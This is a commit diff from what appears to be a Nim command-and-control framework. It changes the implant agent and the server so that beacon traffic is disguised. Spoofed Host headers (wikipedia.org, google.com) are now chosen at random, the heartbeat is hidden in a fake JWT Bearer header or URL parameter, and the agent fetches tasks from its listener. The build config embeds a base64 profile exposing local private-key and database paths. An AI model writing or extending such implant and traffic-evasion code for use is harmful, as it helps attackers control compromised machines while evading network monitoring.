Added more randomization. The profile now supports setting keys to an array of strings, from which a random one is chosen each time (useful for e.g. Host header, etc.)

data/profile.toml

@@ -50,7 +50,11 @@ lang = "en-US"
 
 # Defines arbitrary headers that are added by the agent when performing a HTTP GET request 
 [http-get.agent.headers]
-Host = "wikipedia.org"
+Host = [ 
+    "wikipedia.org", 
+    "google.com",
+    "127.0.0.1"
+]
 Connection = "Keep-Alive"
 Cache-Control = "no-cache"
 
@@ -83,7 +87,11 @@ request-methods = [
 ]
 
 [http-post.agent.headers]
-Host = "wikipedia.org"
+Host = [ 
+    "wikipedia.org", 
+    "google.com",
+    "127.0.0.1"
+]
 Content-Type = "application/octet-stream" 
 Connection = "Keep-Alive"
 Cache-Control = "no-cache"

src/agent/core/http.nim

@@ -13,18 +13,28 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
         heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
     of "none": 
         heartbeatString = Bytes.toString(heartbeat)
-    
-    let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
-    let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
 
-    let payload = prefix & heartbeatString & suffix
+    # Define request headers, as defined in profile
+    for header, value in ctx.profile.getTable("http-get.agent.headers"): 
+        client.headers.add(header, value.getStringValue())
+
+    # Select a random endpoint to make the request to
+    var endpoint = ctx.profile.getString("http-get.endpoints")
+    if endpoint[0] == '/': 
+        endpoint = endpoint[1..^1] & "?"    # Add '?' for additional GET parameters
+
+    let 
+        prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
+        suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
+        payload = prefix & heartbeatString & suffix
 
     # Add heartbeat packet to the request
     case ctx.profile.getString("http-get.agent.heartbeat.placement.type"): 
     of "header": 
         client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
     of "parameter":
-        discard 
+        let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
+        endpoint &= fmt"{param}={payload}&"
     of "uri":
         discard
     of "body": 
@@ -32,24 +42,13 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
     else:
         discard 
 
-    # Define request headers, as defined in profile
-    for header, value in ctx.profile.getTable("http-get.agent.headers"): 
-        client.headers.add(header, value.getStringValue())
-
     # Define additional request parameters
-    var params = ""
     for param, value in ctx.profile.getTable("http-get.agent.parameters"): 
-        params &= fmt"&{param}={value.getStringValue()}"
+        endpoint &= fmt"{param}={value.getStringValue()}&"
-    params[0] = '?'
-
-    # Select a random endpoint to make the request to
-    var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStringValue()
-    if endpoint[0] == '/': 
-        endpoint = endpoint[1..^1]
 
     try:
         # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization 
-        return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
+        return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
     
     except CatchableError as err:
         # When the listener is not reachable, don't kill the application, but check in at the next time
@@ -69,11 +68,11 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
         client.headers.add(header, value.getStringValue())
     
     # Select a random endpoint to make the request to
-    var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStringValue()
+    var endpoint = ctx.profile.getString("http-post.endpoints")
     if endpoint[0] == '/': 
         endpoint = endpoint[1..^1]
     
-    let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStringValue("POST"))
+    let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
 
     let body = Bytes.toString(data)
 

src/agent/nim.cfg

@@ -7,4 +7,4 @@
 -d:ListenerPort=8080
 -d:SleepDelay=3
 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
--d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpIb3N0ID0gIndpa2lwZWRpYS5vcmciCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKQ2FjaGUtQ29udHJvbCA9ICJuby1jYWNoZSIKCltodHRwLXBvc3QuYWdlbnQub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKW2h0dHAtcG9zdC5zZXJ2ZXIuaGVhZGVyc10KU2VydmVyID0gIm5naW54IgoKW2h0dHAtcG9zdC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCg=="
+-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1nZXQuc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgoKW2h0dHAtZ2V0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoKW2h0dHAtcG9zdF0KZW5kcG9pbnRzID0gWyIvcG9zdCIsICIvYXBpL3YyL2dldC5qcyJdCnJlcXVlc3QtbWV0aG9kcyA9IFsiUE9TVCIsICJQVVQiXQpbaHR0cC1wb3N0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtcG9zdC5hZ2VudC5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgpbaHR0cC1wb3N0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCgpbaHR0cC1wb3N0LnNlcnZlci5vdXRwdXQucGxhY2VtZW50XQp0eXBlID0gImJvZHkiCgoK"

src/common/profile.nim

@@ -23,8 +23,21 @@ proc randomChar(): char =
     let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
     return alphabet[rand(alphabet.len - 1)]
 
+proc getRandom*(values: seq[TomlValueRef]): TomlValueRef = 
+    if values.len == 0: 
+        return nil
+    return values[rand(values.len - 1)]
+
 proc getStringValue*(key: TomlValueRef, default: string = ""): string = 
-    let value = key.getStr(default)
+
+    # In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
+    # A random entry is selected from these specifications
+    var value: string = ""
+    if key.kind == TomlValueKind.String: 
+        value = key.getStr(default)
+    elif key.kind == TomlValueKind.Array:
+        value = key.getElems().getRandom().getStr(default)
+    
     # Replace '#' with a random alphanumerical character and return the resulting string
     return value.mapIt(if it == '#': randomChar() else: it).join("")
 
@@ -57,8 +70,3 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
     if key == nil: 
         return @[]
     return key.getElems() 
-
-proc getRandom*(values: seq[TomlValueRef]): TomlValueRef = 
-    if values.len == 0: 
-        return nil
-    return values[rand(values.len - 1)]

src/server/api/routes.nim

@@ -30,7 +30,12 @@ proc httpGet*(ctx: Context) {.async.} =
             heartbeatString = ctx.request.getHeader(heartbeatHeader)[0]
 
         of "parameter": 
-            discard 
+            let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
+            heartbeatString = ctx.getQueryParams(param)  
+            if heartbeatString.len <= 0: 
+                resp "", Http404
+                return
+
         of "uri": 
             discard 
         of "body":